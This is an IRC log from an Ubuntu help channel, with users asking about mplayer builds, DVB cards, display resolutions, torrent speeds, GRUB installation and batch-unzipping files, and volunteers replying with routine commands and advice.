[01:06] <JaMaLz> hello
[01:06] <soho> hello, the volume-slider of the oss-mixer jumps to maximum volume, i cannot lower the volume, can somebody help me please?
[01:06] <JaMaLz> i have skystar2 dvb pci i pluged it but how to make it work
[01:06] <dystopianray> MadHenry: yes, mount /dev/hda3 to /mnt or somewhere and also mount proc inside there
[01:06] <tbuss> Belboz91: I checked, the monitor supports it, brand new Sceptre
[01:06] <dystopianray> yettenet: are you on the same lan?
[01:07] <yettenet> dystopianray: Yes
[01:07] <McQueen> malek, can you give the command again for mplayer?
[01:07] <Hoffmann> Hello, can anybody tell me y I have so many updates but can't install them? They are all gray
[01:07] <JaMaLz> is there any packaged to make it work on ununtu
[01:07] <malek>  sudo apt-get build-dep  mplayer
[01:07] <McQueen> malek: kim@kim-laptop:~$ sudo apt-get build-dep mplayer
[01:07] <McQueen> Reading package lists... Done
[01:07] <McQueen> Building dependency tree
[01:07] <McQueen> Reading state information... Done
[01:07] <McQueen> E: Unable to find a source package for mplayer
[01:08] <Belboz91> tbuss, then make sure you have a proper refresh rate, should be between 60-85hz, though higher hz can cause this affect if they are unsupported.   Even 80hz can cause this issue on some displays at certain resolutions
[01:08] <orp> McQueen, type > sudo apt-get update < ,
[01:08] <tbuss> Belboz91: tried 75Hz, 70hz, and 60Hz with 1080x1024, vertical lines for all three; nothing avail above 75Hz
[01:08] <dystopianray> Michom: connect your computer to the modem using an ethernet cable
[01:08] <hybernate> question here. is ther  way to asign a hot key to alternate between the workspaces?
[01:08] <Belboz91> wait, 1080x1024?
[01:08] <malek> McQueen:  yeah, try updating it again - sorry!
[01:08] <McQueen> malek: update finished quickly...
[01:09] <Belboz91> no one runs at that resolution, that's practically square tbuss
[01:09] <mEck0> I have just installed Ubuntu 7.04 beta, and the system boots fine. But then I don't see any picture on the screen :/ I mean after boot, when you should see the login screen, I don't see that :( What could be wrong? I have upgraded to latest ati-drivers
[01:09] <malek> McQueen:  sudo apt-get build-dep  mplayer
[01:09] <JaMaLz> i have skystar2 dvb pci i pluged it but how to make it work any idea ?
[01:09] <liberum> I have tried installing drivers for my ATI X1600Pro card for ages heh... now i tried feisty fawns restricted driver. Now its hard to see anything on my monitor. I have to move the mouse over the objects to see them, or mark all text. I just hopes I can read your help now >P
[01:09] <Michom> dystopianray: either ways i don't think it will work. the cable modem usb has a mac address and the ethernet will have a different one
[01:09] <dystopianray> JaMaLz: what dvb chipset does it use?
[01:09] <McQueen> malek, kim@kim-laptop:~$ sudo apt-get build-dep mplayer
[01:09] <McQueen> Reading package lists... Done
[01:09] <McQueen> Building dependency tree
[01:09] <McQueen> Reading state information... Done
[01:09] <McQueen> E: Unable to find a source package for mplayer
[01:09] <JaMaLz> dystopianray: b2c2 skystar2
[01:09] <tbuss> Belboz91: so 1024x768 is good?
[01:10] <Belboz91> tbuss, yes
[01:10] <dystopianray> Michom: are you talkinga bout your cable provider only allowing a specific MAC for the modem?
[01:10] <Broady> ah great. i think i've borked my linux machine, i installed onto another HDD, and now cant boot XP
[01:10] <Broady> Can someone help me with the above?
[01:10] <dystopianray> Michom: that is the mac on the wan side, that has nothign to do with whether you're using usb or ethernet on the lan side
[01:10] <Michom> dystopianray: i will have to spoof my mac... i will call him tonight and tell him that i will leave him if he doesn't allow cat5 connection :P usb connection seems complex
[01:10] <Belboz91> tbuss, other resolutions that are common are 1280x1024, and 1280x1080 for a wide screen
[01:10] <dystopianray> Michom: the modem doesn't have it's own mac address?
[01:11] <Michom> dystopianray: it is written under the modem, MAC address for ether is something and for usb is something else
[01:11] <dystopianray> Michom: yes, that's for the lan, that has nothing to do with the wan side
[01:11] <tbuss> Belboz91: I should only use 1280x1024 if my monitor is a widescreen?
[01:11] <McQueen> malek: have you got a B plan :)
[01:11] <orp> When I tried accessing my windows box (network), It ask me to authenticate, when I type in the correct username and password of the windows box, it refuses, what gives?
[01:12] <tbuss> Belboz91: I just thought the higher resolution looked "cleaner" there was more space avail.
[01:12] <JaMaLz> dystopianray: u got any idea ?
[01:12] <dystopianray> JaMaLz: pastebin the output of lspci
[01:12] <malek> McQueen: I'm working on it!  As far as I can tell that should work - it does for me on Dapper...
[01:12] <Belboz91> tbuss, no, you can use 1280x1024 for a standard screen
[01:12] <Stormx2> Folks, any suggestions on refreshing a partition table? parted etc can't detect file system on this partition... looks pretty screwed up
[01:12] <Frogzoo> Michom: how can he not allow cat5?
[01:12] <Serge_K> orp: which program do you use to connect?
[01:13] <McQueen> malek: ok so i am wating your commands....
[01:13] <dystopianray> Michom: just connect via cat5 and it should work, your cable provider is probalby run by morons
[01:13] <tbuss> Belboz91: any suggestion off hand on links for info on screen resolutions?
[01:13] <JaMaLz> 0000:00:09.0 Network controller: Techsan Electronics Co Ltd B2C2 FlexCopII DVB c hip / Technisat SkyStar2 DVB card (rev 01)
[01:13] <JaMaLz> dystopianray:  is that what u want ?
[01:13] <orp> Serge_K,  Places > Network Servers
[01:13] <dystopianray> JaMaLz: yes
[01:13] <Frogzoo> Stormx2: without a backup you're pretty screwed
[01:13] <Belboz91> tbuss, try running:
[01:13] <Belboz91> sudo dpkg-reconfigure xserver-xorg
[01:14] <Stormx2> Frogzoo: Bleh. No ideas at all?
[01:14] <Belboz91> I've got to run, peace all!
[01:14] <Michom> dystopianray: it is run by morons :)
[01:14] <Broady> Can someone help me with dual boots?
[01:14] <dystopianray> Stormx2: testdisk can recover partition tables, i think
[01:14] <Stormx2> testdisk?
[01:14] <Stormx2> okay
[01:14] <Serge_K> orp: hm I dont know whazzit,.. sorry.. but any prog has to connect if there's a user/passwd in win machine...
[01:15] <iain_> anyone?
[01:15] <mazzapan> sadly the latest ubuntu release (on /.) fails to boot me for again :(  drops to ash "can't access tty"
[01:15] <Serge_K> orp: try LinNeibhourhood
[01:15] <orp> Serge_K,  and from windows machine, if i want to view shared folder from my ubuntu box, should I type \\ip_address\share_name or //ip_address/share_name ?
[01:16] <dystopianray> JaMaLz: do you have anything in /dev/dvb/* ?
[01:16] <nav> hi
[01:16] <Michom> dystopianray: i will talk to him tonight and see what is his response, i will connect it then... so no way it works using that file i was suggested in the forums?
[01:16] <Askar> I have problems watching some flash movies..when I rightclick on it it says "movie not loaded" and "about flash player 9..."  why? :(
[01:17] <dystopianray> Michom: what file? just connect with cat5
[01:17] <Serge_K> orp: in Win you gotta use win nitation , i.e. \\.. but usually you dont need it.. if you cant see your Lin machine.. use "Search computer" option
[01:17] <malek> McQueen: try "sudo apt-get source mplayer"
[01:17] <nav> what kind of people are here? azureus users?
[01:17] <dystopianray> Michom: I do not understand how 'he' can possibly know whether you're using usb or ethernet, are they spying on you or something??
[01:17] <eliasson> Is it possible to force a nameserver?
[01:17] <JaMaLz> adapter0
[01:17] <JaMaLz> dystopianray:
[01:17] <dystopianray> nav: rtorrent or ktorrent
[01:17] <giany911> guys im trying to install ubuntu right now ... when it says /media/hda1 and a 10 gb partiton ( my windows partiton) it means it's gonna be mounted after the install right?
[01:17] <eliasson> i dont want to use that one from the dhcp
[01:17] <dystopianray> JaMaLz: ok, then it should work
[01:18] <dystopianray> JaMaLz: get a program that can watch tv, and enjoy
[01:18] <JaMaLz> dystopianray:  what software do i use what tuner ?
[01:18] <dystopianray> JaMaLz: I use kaffeine
[01:18] <nav> wat r : k and r types?
[01:18] <Michom> dystopianray: i told you, from the mac i think...
[01:18] <Dabian> JaMaLz : Get a H
[01:18] <dystopianray> Michom: no!, the modem has it's own mac used on the wan side
[01:18] <dystopianray> Michom: the mac on the usb or cat5 is internal on the lan side
[01:18] <JaMaLz> Dabian:  ?
[01:18] <McQueen> malek, E: Unable to find a source package for mplayer
[01:18] <malek> McQueen: also try "sudo apt-get -s install mplayer"
[01:18] <dystopianray> Michom: connect using cat5 already!
[01:19] <nav> dystopianray: what are ktorrent and rtorrent?whats different between them
[01:19] <McQueen> malek, for two commands....   E: Unable to find a source package for mplayer
[01:19] <dystopianray> nav: rtorrent is a cli client, ktorrent is a kde client
[01:19] <Frogzoo> Michom: if your isp thinks you're trying to extend the coax with cat5, he'll cut you off - but everything that happens on the cat5 side of the modem is none of his business
[01:19] <jaakkos> my xubuntu firefox menu font size suddenly changed to something like system font size + 4 (yes, changing the default affects them) after playin with the default themes and font settings. they are huge, so how could i fix it?
[01:20] <dystopianray> nav: ktorrent has utorrent compatible dht
[01:20] <nav> so I use ktorrent
[01:20] <JaMaLz> dystopianray:  i got gnome not kde does it matter ?
[01:20] <dystopianray> JaMaLz: kde programs work in gnome
[01:20] <IndyGunFreak> jaakkos: open firefox, hold control, scroll wheel up to make smaller, down to make bigger
[01:21] <dystopianray> JaMaLz: there is probably a gnome app that can watch digital tv, but I do not know of any
[01:21] <Serge_K> orp: according to M$ docs, to make Networ Neibhourhood work.. there has to be at least 3 servers in the network... and even with this.. it has to be 15 min to be spent while it come at work.. so if you have less than 3 win machines and your Lin machine isnt local/domain browser.. you will not see any machine there.. its normal.. use Search option
[01:21] <IndyGunFreak> jaakkos: sorry, that should be hold alt, then scroll wheel
[01:21] <jaakkos> i'm talking about menu fonts.
[01:21] <malek> McQueen: okay, go into Synaptic and search for mplayer.  Let me know if it's there.
[01:21] <liberum> hm
[01:21] <eliasson> Is it possible to force a nameserver? I don't want to use the one from the DHCP.
[01:21] <Frogzoo> Serge_K: lies - one server is enough
[01:22] <dystopianray> eliasson: you can probably configure dhclient to not set a dns server and then put your preferred one in /etc/resolv.conf
[01:22] <McQueen> malek, its searching, but i saw that from options download sellected from turkey
[01:22] <orp> Serge_K,  When i click on Network SErvers from places, I can SEE the windows box
[01:22] <Arko> hi
[01:22] <jaakkos> IndyGunFreak: ctrl-wheel works for changing HTML rendering size, yes (but it's not what i want), but alt-wheel does nothing
[01:22] <liberum> Now I went back to using the standard graphics drivers so that i can see you all ... like i said, with feistys restricted drivers for my ATI X1600Pro card i cannot see much. I have to move my mouse over buttons and text to see it, or often mark all text to see anything at all when im scrolling down a page. I would really want 3D support
[01:23] <Arko> http://ubuntu.compiz.net is not working... Is there any substitute?
[01:23] <Frogzoo> eliasson: comment out domain-name-servers from /etc/dhcp3/dhclient.conf
[01:23] <IndyGunFreak> jaakkos: yeah, your right, my bad
[01:23] <nav> my torrent is donwloading at speed of 1 byte to 3 Kb.Y WHats wrong help!
[01:23] <Assargadon> Good day
[01:24] <orp> nav,  behind router?
[01:24] <JaMaLz> dystopianray: how to lock the signal ?
[01:24] <dystopianray> nav: what client are you using?
[01:24] <Dabian> nav: Ha ha ha!
[01:24] <nav> azureaus
[01:24] <jaakkos> "no, i'm directly connected to every peer in the world \:D/"
[01:24] <Assargadon> I try to find windows-like skin for Ubuntu - and failed
[01:24] <dystopianray> JaMaLz: ah.. I have no idea, any dvb capable client should handle scanning and whatever automatically
[01:24] <orp> Serge_K,  I've went over to my windows box, and tried accessing to my shared folder in my lin box, it asked me username and password, typed in username and password of my lin box, and it doesn't go thru.
[01:24] <McQueen> malek, mplayer  its installed. version: 2:0.99+1.0pre8-0ubutuntu8
[01:24] <nav> they r too slow than the last downloads
[01:24] <Dabian> nav: You need to forward a port larger than 49151.
[01:24] <orp> nav,  behind router?
[01:24] <Assargadon> Instead I find the Ubuntu skin for Windows
[01:24] <Serge_K> Frogzoo: not always... one server is enough if you push it to be a browser. in 95-98 there was an option in network prefs... in XP you have to modify registry for it...
[01:24] <orp> nav,  are you behind router?
[01:24] <dystopianray> Assargadon: you like that ugly 'luna' theme in xp?
[01:25] <McQueen> malek, it found mplayer
[01:25] <nav> wats a router
[01:25] <dystopianray> nav: you're probably better off asking in the azureus channel
[01:25] <malek> McQueen:   Paste me your new /etc/apt/sources.list and give me the url.
[01:25] <nav> where isa it?
[01:25] <nav> wheer is it?
[01:25] <nav> where is it>
[01:25] <McQueen> ok
[01:25] <IndyGunFreak> !azureus
[01:25] <ubotu> azureus is a popular bittorent client written in Java, installation instructions can be found at https://help.ubuntu.com/community/AzureusHowTo
[01:25] <Assargadon> dystopianray: no, I now try to replace the windows to ubuntu in  firm I working in
[01:25] <jaakkos> nav: does azureus tell you "firewalled" in the bottom of the GUI?
[01:25] <nav> no
[01:26] <IndyGunFreak> then you're likely just on a slow freakin torrent
[01:26] <jaakkos> there is a utility in azureus to check it
[01:26] <Assargadon> dystopianray: so it will be a god thing for easy replace
[01:26] <jaakkos> i don't remember the exact menu
[01:26] <jaakkos> but it's like "nat/firewall test"
[01:26] <dystopianray> Assargadon: umm. what?
[01:26] <jaakkos> run it and report me what it says.
[01:26] <nav> the torrent was uploaded 19 days ago
[01:26] <Serge_K> orp: you have to have a user added with a name/passwd in Win.. or you might open the share for guest access
[01:26] <spuck> Hello. I've copied vmlinuz+initrd.gz to /boot/newinstall but at reboot I'm only getting mount errors (file not found) and then everything freezes. Any help please?
[01:26] <McQueen> malek, http://paste.ubuntu-nl.org/11837/
[01:27] <IndyGunFreak> nav: that doesn't mean anything, if a bunch of people download it, but nobody seeds, its gonna be slow.
[01:27] <Dabian> salvatore_c_ : Stronzo!
[01:27] <JaMaLz> dystopianray: thanks alot
[01:27] <nav> ok
[01:27] <orp> seravitae, added? you mean in create an account in Windows?
[01:27] <Dabian> salvatore_c_ : What does that mean?
[01:27] <nav> may be thats the reason
[01:27] <jaakkos> nav: do what i said
[01:27] <nav> its downloading at speed lower than 1 Kb
[01:27] <dystopianray> Michom: have you got the cat5 hooked up yet?
[01:28] <Assargadon> dystopianray: I work in small russian firm. Now we use Windows XP as desktop. And, as far as Vista is unpleasant, we plan to migrate to Ubuntu. To make this process easy and transparent I need windows skin for Ubuntu.
[01:28] <spuck> Hello. Trying to install ubuntu here. I've copied vmlinuz+initrd.gz to /boot/newinstall but at reboot I'm only getting mount errors (file not found) and then everything freezes. Any help please?
[01:28] <jaakkos> nav: if it says "OK", it means you should be reachable
[01:28] <Dabian> vista == http://badvista.fsf.org/vistas/060629computerDump800x600.jpg/image_view_fullscreen
[01:29] <nav> could u give me the channl specially for azureus
[01:29] <dystopianray> Assargadon: you want ubuntu to look like windows?
[01:29] <IndyGunFreak> nav: jaakkos is telling you exactly what they will.
[01:29] <kazim86> ubotu: hello
[01:29] <ubotu> hello: The classic greeting, and a good example. In component main, is optional. Version 2.1.1-4 (edgy), package size 47 kB, installed size 472 kB
[01:30] <nav> ok
[01:30] <Assargadon> dystopianray: yes
[01:30] <malek> McQueen:  okay, this doesn't seem to work.  Let's try something different.
[01:30] <nav> could u tell me again wat were u saying
[01:30] <kazim86> ubotu: who is your master?
[01:30] <nav> could u talk to em in PM?
[01:30] <McQueen> malek: ok
[01:30] <nav> *me
[01:30] <jaakkos> doesn't look like it :E
[01:30] <jaakkos> i'm not registered
[01:30] <IndyGunFreak> nav: it takes 5sec, no need for pms
[01:31] <jaakkos> but nav, find the "nat/firewall test" (or similar) option from the menus.
[01:31] <nav> I am confused in all these cahts
[01:31] <sacater> hi its me! anyone good with compiling xfmedia, i did make and got a rather unhappy ending http://paste.ubuntu-nl.org/11838/
[01:31] <jaakkos> gah someone on the door...
[01:31] <nav> I dont know where
[01:31] <ikonia> nav: if you're not sharp enough to "chat" then you'll have little chance configuring an operating system
[01:31] <nav> foudn it
[01:31] <dystopianray> Assargadon: what about this? http://www.gnome-look.org/content/show.php?content=46930
[01:31] <McQueen> malek: what is the different way?
[01:31] <IndyGunFreak> ikonia: lol
[01:31] <Xintruder2007> hi
[01:31] <nav> found it
[01:31] <lnostdal> Assargadon, what you can do is move the menus ("Start button") from the top to the bottom and place it at the bottom left corner as in windows .. then simply change colors etc.
[01:32] <malek> McQueen:  okay, I'm getting this from http://www.ubuntuforums.org/showthread.php?t=78037 but I just want to check that things are working, so we'll just try installing a few packages at a time.  Try "sudo apt-get install libavcodec-dev"
[01:32] <orp> seravitae, added? you mean in create an account in Windows?
[01:32] <IndyGunFreak> nav: enter your port number and hit test
[01:32] <spuck> Hello. Trying to install ubuntu here. I've copied vmlinuz+initrd.gz to /boot/newinstall but at reboot I'm only getting mount errors (file not found) and then everything freezes. Can anyone help me? please.
[01:32] <dystopianray> Assargadon: kde is probalby more like windows than gnome
[01:32] <nav> wats my port?
[01:32] <nav> I already see there 43791
[01:32] <IndyGunFreak> ok, well hit test
[01:32] <nav> sat=ys OK
[01:33] <nav> says OK
[01:33] <IndyGunFreak> nav: then your torrent just sucks.
[01:33] <nav> ok may be true
[01:33] <IndyGunFreak> prolly nobody seding
[01:33] <IndyGunFreak> nav: i told you that 10min ago..lol
[01:33] <oren> does anyone develop Ruby On Rails in Ubuntu?
[01:33] <IndyGunFreak> nav: and you swore cuz it was only 19days old, it should be ok.
[01:33] <jaakkos> yeah nav
[01:33] <nav> lol
[01:33] <jaakkos> the torrent most likely sucks
[01:34] <McQueen> malek: kim@kim-laptop:~$ sudo apt-get install libavcodec-dev
[01:34] <McQueen> E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)
[01:34] <McQueen> E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
[01:34] <malek> McQueen:  quit synaptic
[01:34] <ikonia> McQueen: the error message is the clue
[01:34] <ikonia> "is another process using it"
[01:34] <nav> torrent is "pokemon season 9 - Battel frontier
[01:34] <IndyGunFreak> lol..
[01:34] <jaakkos> btw nav, what kind of connection is it
[01:34] <seikai> Haha.
[01:34] <seikai> What's up ikonia.
[01:34] <Alien_Invader> :)
[01:34] <ikonia> even when an error message is spelt out in plain english people can't get it
[01:34] <IndyGunFreak> jaakkos: prolly dial-up
[01:34] <nav> its 100 MB/sec
[01:34] <McQueen> malek: ok its getting
[01:34] <ikonia> seikai: not much
[01:35] <jaakkos> if you haven't you should also adjust your upstream limit so that it doesn't choke ... ok :D
[01:35] <seikai> ikonia: This is the working enviroment Ubuntu has provided.
[01:35] <nav> its speed is 384 KB/sec
[01:35] <ikonia> seikai: actuall I was chatting in the wrong room
[01:35] <IndyGunFreak> seikai: how do you figure tahat?
[01:35] <seikai> ikonia: Are you currently running feisty?
[01:35] <ikonia> my mistake/apologies
[01:35] <ikonia> seikai: no
[01:35] <jaakkos> nav: 100Mb, not MB maybe ;D
[01:35] <jaakkos> but anyway
[01:35] <nav> I am donwloading it from last night and only .1 % done
[01:36] <jaakkos> well it can be choked too... so make sure you limit your upstream to, like, 90Mb/s so that it doesn't choke your downstream.
[01:36] <seikai> IndyGunFreak: Such questions don't require answers.
[01:36] <nav> right now for a second my speed became 8KB
[01:36] <seikai> Some things should really be done by the user.
[01:36] <IndyGunFreak> nav: well, obviously the torrent sucks, you have two options, go rent it from a video store and rip it, or find another torrent
[01:36] <seikai> ikonia: Oh ok
[01:36] <IndyGunFreak> seikai: sure...
[01:36] <void^> for azureus on ubuntu you need to make sure you're using sun's jre, and better use the official package from azureus.sf.net
[01:37] <jaakkos> good point....
[01:37] <nav> I will wait until more poeple download the torrent
[01:37] <seikai> IndyGunFreak: Gentoo was a pain in the ass. Masked packages, system breaks, it's complete ruckus.
[01:37] <IndyGunFreak> seikai: did you try KTorrent or BiTTorrent, or UTorrent?
[01:37] <dystopianray> nav: what is the torrent?
[01:37] <Assargadon>  lnostdal: yes - and than change icons...and maybe it's already done?
[01:37] <seikai> Especially for a user like me, I only have laptops.
[01:37] <bquadra> hello
[01:37] <bquadra> :D
[01:37] <ikonia> nav: we don't discuss downloading illegal pirate warez
[01:37] <IndyGunFreak> seikai: strange, i always hear just the opposite.
[01:37] <seikai> IndyGunFreak: What for?
[01:37] <nav> pokemon season 9 - battle frontier
[01:37] <Xintruder2007> hi
[01:37] <liberum> With feistys restricted drivers for my ATI X1600Pro card i cannot see much. I have to move my mouse over buttons and text to see it, or often mark all text to see anything at all when im scrolling down a page. I would really want 3D support
[01:37] <dystopianray> eww, pokemon
[01:38] <seikai> IndyGunFreak: Gentoo is a great distro, don't get me wrong. I just can't put up with it all.
[01:38] <sacater> can anyone help me with a compilation error http://paste.ubuntu-nl.org/11838/
[01:38] <PriceChild> !offtopic
[01:38] <ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[01:38] <spuck> Hello. Trying to install ubuntu here. I've copied vmlinuz+initrd.gz to /boot/newinstall but at reboot I'm only getting mount errors (file not found) and then everything freezes. Can anyone help me? please.
[01:38] <nav> !azureus
[01:38] <ubotu> azureus is a popular bittorent client written in Java, installation instructions can be found at https://help.ubuntu.com/community/AzureusHowTo
[01:38] <ikonia> sacater: your boxes libraries and headers look to be spread all around the place
[01:38] <dystopianray> spuck: um... boot the livecd and click 'install'
[01:39] <ikonia> sacater: it also looks like you've got conflicting headers with ubuntu - and some other stuff you've installed
[01:39] <jaakkos> nav: in ubuntuguide, there is a section that shows how to use sun's jre to provide java.
[01:39] <spuck> dystopianray I dont boot from livecd Im booting from /boot/newinstall
[01:39] <dystopianray> spuck: why?
[01:39] <PriceChild> spuck, is there any reason you're customising the install?
[01:39] <McQueen> malek: its installed
[01:39] <fasm_erx_CC2_> question??
[01:39] <ikonia> spuck: you don't have to do anything like that just click "install" from the ubuntu install cd desktop
[01:40] <spuck> dystopianray why mess with cds right
[01:40] <nav> ok
[01:40] <fasm_erx_CC2_> I'm trying to install subversion. I'm recompiling the new version of subversion to my ubuntu
[01:40] <malek> McQueen:  okay, now do this: "sudo apt-get install libx11-dev  libxv-dev  libpng12-0  libpng12-dev  checkinstall  libavcodec-dev build-essential"
[01:40] <jaakkos> could you tell me how to restore font settings in xubuntu?
[01:40] <fasm_erx_CC2_> Now my question is... what folder do you usually install applications on ubuntu?
[01:40] <rNIUS> hi all!
[01:40] <fasm_erx_CC2_> Anyone?????
[01:40] <malek> McQueen: I'm afraid there's going to be a fair bit of downloading there
[01:40] <ikonia> fasm_erx_CC2_: thats your personal choice
[01:40] <seikai> BETA > Hurd 5 ?
[01:40] <dystopianray> spuck: why? becuase it's just a couple of clicks and a few questions and you're installed in 20 minutes
[01:41] <IndyGunFreak> fasm_erx_CC2_: any folder you want
[01:41] <ytanika> ey
[01:41] <ikonia> fasm_erx_CC2_: if you don't know that you should be using subversion from the ubuntu repo - not trying ot compile it
[01:41] <spuck> PriceChild ikonia I' not installing from cd, following the doc how to install from hdd
[01:41] <ytanika> o
[01:41] <seikai> PriceChild: The beta is newer than the hurd 5 isn't it?
[01:41] <fasm_erx_CC2_> Thanks. I thought there was a specfic place for it. Im new to linux
[01:41] <oskude> fasm_erx_CC2_, /usr/local/bin
[01:41] <ikonia> fasm_erx_CC2_: use sub version from the ubuntu repo
[01:41] <dystopianray> fasm_erx_CC2_: if you're new to linux you defininetly shouldn't be trying to compile software
[01:41] <jaakkos> fasm_erx_CC2_: depends. if the program is intended for everyone, it's usually installed to something like /usr/bin
[01:41] <PriceChild> seikai, yes
[01:41] <spuck> dystopianray then I would have to go to town 1,5h then burn then install :P
[01:41] <fasm_erx_CC2_> ikonia: its outdated
[01:41] <malek> McQueen: Let me know how long it's likely to take to get those packages.
[01:41] <fasm_erx_CC2_> 1.3
[01:41] <PriceChild> spuck, what doc?
[01:41] <fasm_erx_CC2_> latest is 1.4
[01:42] <ikonia> fasm_erx_CC2_: what do you want in the new version ?
[01:42] <spuck> PriceChild on help.ubuntu.com
[01:42] <ikonia> fasm_erx_CC2_: what function is in 1.4 that you need
[01:42] <seikai> Man.
[01:42] <PriceChild> spuck, link please
[01:42] <seikai> I can update the hurd 5.
[01:42] <Grifer> !help parted
[01:42] <ubotu> Sorry, I don't know anything about help parted - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[01:42] <dystopianray> fasm_erx_CC2_: it's not outdated, it works perfectly fine
[01:42] <IndyGunFreak> ikonia: lol, niothing, its just newer!
[01:42] <seikai> I can't install the beta right now.
[01:42] <Menasim1> I'm having error while upgrading to 7.04
[01:42] <Grifer> !parted
[01:42] <ubotu> parted: The GNU Parted disk partition resizing program. In component main, is standard. Version 1.7.1-2.1ubuntu3 (edgy), package size 53 kB, installed size 156 kB
[01:42] <fasm_erx_CC2_> ikonia: I can't get subversion working. I remember having the same problem on windows version where it ask me for the password all the time
[01:42] <Grifer> !parted help
[01:42] <dystopianray> Menasim1: #ubuntu+1
[01:42] <spuck> PriceChild https://help.ubuntu.com/6.10/ubuntu/installation-guide/i386/boot-drive-files.html
[01:42] <fasm_erx_CC2_> when I updated my version it worked
[01:42] <ikonia> fasm_erx_CC2_: thats nothing to do with versions
[01:42] <ikonia> fasm_erx_CC2_: thats down to your config
[01:42] <ikonia> fasm_erx_CC2_: learn to config it
[01:43] <fasm_erx_CC2_> ikonia Not sure but my windows version only ask one time after I updated my subversion on windows
[01:43] <oren> Hi all. I installed Deluge. what can i do with it? i thought that it's a p2p app, where i search for files...
[01:43] <ikonia> fasm_erx_CC2_: this isn't windows
[01:43] <fasm_erx_CC2_> ikonia: Okay
[01:43] <grazie> jaakkos: do you a small font size? >> http://xubuntuguide.org/tiki-index.php?page=En:Edgy&redirectpage=HomePage#Small_font_sizes
[01:43] <fasm_erx_CC2_> ill take a look at the config
[01:43] <PriceChild> spuck, ah so you can't actually boot from a cd? :)
[01:43] <dystopianray> fasm_erx_CC2_: in ~/.subversion/config make sure the line 'store-passwords = no' is commented out
[01:43] <spuck> PriceChild well I don't actually have a cd to boot from or burn to
[01:44] <fasm_erx_CC2_> thanks. I'll try it out!
[01:44] <PriceChild> spuck, ahhh ok :)
[01:44] <Grifer> I have problems with parted. it says I can't have partition outside the disk. I'm trying to format external ntfs disk
[01:44] <oren> anyone knows what can i do with Deluge?
[01:44] <dystopianray> fasm_erx_CC2_: you would have had to specifically uncomment it to get into your current predicament
[01:45] <ikonia> oren: read up on it
[01:45] <PriceChild> spuck, and you've followed https://help.ubuntu.com/6.10/ubuntu/installation-guide/i386/ch05s01.html#boot-initrd right?
[01:45] <oren> ok
[01:45] <spuck> PriceChild yes I have (the grub one)
[01:45] <Crane> good morning
[01:46] <fasm_erx_CC2_> dysto: Someones calling me sorry. I'll get back to you.. thanks..
[01:46] <malek> McQueen:  how's it coming along?
[01:46] <PriceChild> spuck, Are you sure  you have the (hd#,#) correct? If you have the other files in the correct places then your menu.lst is all I can think of
[01:47] <spuck> PriceChild do i need to change the hd0,0 thingies? /boot = partition3 new ubuntu install is suppost to be on partition 4
[01:47] <Crane> Has anyone set up Scalix on ubuntu?
[01:47] <PriceChild> spuck, here's our problem!!!
[01:47] <PriceChild> spuck, the first number refers to the physical drive, the second refers to its partition number
[01:47] <PriceChild> spuck, start counting from 0
[01:47] <spuck> PriceChild well I guess so lol
[01:47] <PriceChild> spuck, so 0,1,2,3 instead of 1,2,3
[01:47] <atomiku> I have a folder of 100 .zips, how can I extract them all with tar -xvf easily?
[01:47] <dystopianray> atomiku: you can't
[01:48] <dystopianray> atomiku: tar does not work with zip files
[01:48] <PriceChild> atomiku, well tar is for tars?
[01:48] <spuck> PriceChild ok so both lines should refer to /boot partition? or the new install partition?
[01:48] <atomiku> PriceChild: o
[01:48] <atomiku> How can I extract the zips easily then?
[01:48] <PriceChild> spuck, boot because that's what the files are in?
[01:48] <McQueen> malek: finished
[01:48] <dystopianray> atomiku: $ for x in *.zip ; do unzip $x ; done
[01:48] <cliebow> one way is ls>afile
[01:48] <atomiku> dystopianray: thanks
[01:48] <Crane> Atom-, try selecting all of them and right click. than select extract here
[01:48] <PriceChild> atomiku, make sure you have unzip installed
[01:48] <spuck> PriceChild ok right hopeit worksnow then :P thanks
[01:48] <cliebow> then  cat afile|while read;do
[01:48] <malek> McQueen: awesome.  Now go to the mplayer website www.mplayerhu.hq
[01:49] <seikai> Hi Hanna.
[01:49] <PriceChild> good luck spuck
[01:49] <cliebow> tar -xzvf
[01:49] <cliebow> fi
[01:49] <atomiku> oh?
[01:49] <dystopianray> cliebow: he has zip files
[01:49] <dystopianray> cliebow: not gzip
[01:49] <atomiku> Btw my zips have spaces
[01:49] <atomiku> can I do '$x' ?
[01:49] <Hanna> Hi, seikai.
[01:49] <dystopianray> atomiku: I think you need "$x"
[01:49] <atomiku> okay thanks
[01:50] <atomiku> yup
[01:50] <atomiku> it worked
[01:50] <Menasim1> Could not calculate the upgrade
[01:50] <Menasim1> A unresolvable problem occurred while calculating the upgrade.
[01:50] <Menasim1> Please report this bug against the 'update-manager' package and include the files in /var/log/dist-upgrade/ in the bugreport.
[01:50] <dystopianray> atomiku: sometimes commands will just work like $ unzip *.zip, but unzip only takes one argument, so need the whole for thing in there
[01:50] <Menasim1> any solution?
[01:50] <atomiku> okay thanks
[01:51] <McQueen> malek: the url didnt work
[01:51] <Crane> I feel like a quick game of quake
[01:51] <Crane> be back later!
[01:51] <malek> McQueen:  sorry www.mplayerhq.hu
[01:51] <dystopianray> cratel: quake 1?
[01:51] <malek> McQueen:  I always get that the wrong way around...
[01:51] <Crane> nope 3 or 4
[01:52] <dystopianray> Crane: oh :( they suck
[01:52] <PriceChild> Menasim1, Sorry :) Best I can do is ask you to ensure you have "sudo apt-get install ubuntu-desktop"
[01:52] <PriceChild> Menasim1, have you used 3rd party repositories?
[01:52] <Crane> ummm I don't think so
[01:52] <spuck> PriceChild Well, got in and looked again /boot is actually on the first partition so hd0,0 is right :S
[01:52] <McQueen> malek: ok i am on there. then?
[01:52] <PriceChild> spuck, on the first drive?
[01:52] <Crane> heck of alot better that trem
[01:53] <Ahorner> hi
[01:53] <spuck> PriceChild Yepp, well vmlinuz and initrd are loaded so i don't think theres anything wrong
[01:53] <malek> McQueen: get the latest version.  Click on the "download" link on the left.
[01:53] <Ahorner> i need ssome help, guys
[01:53] <PriceChild> spuck, they've loaded... so it booted?
[01:53] <PriceChild> Ahorner, ask :)
[01:53] <oren> ikonia: i googled for Deluge, but i still don't understand. I know how to use Emule. how can i use Deluge?
[01:53] <PriceChild> !pm > Menasim1
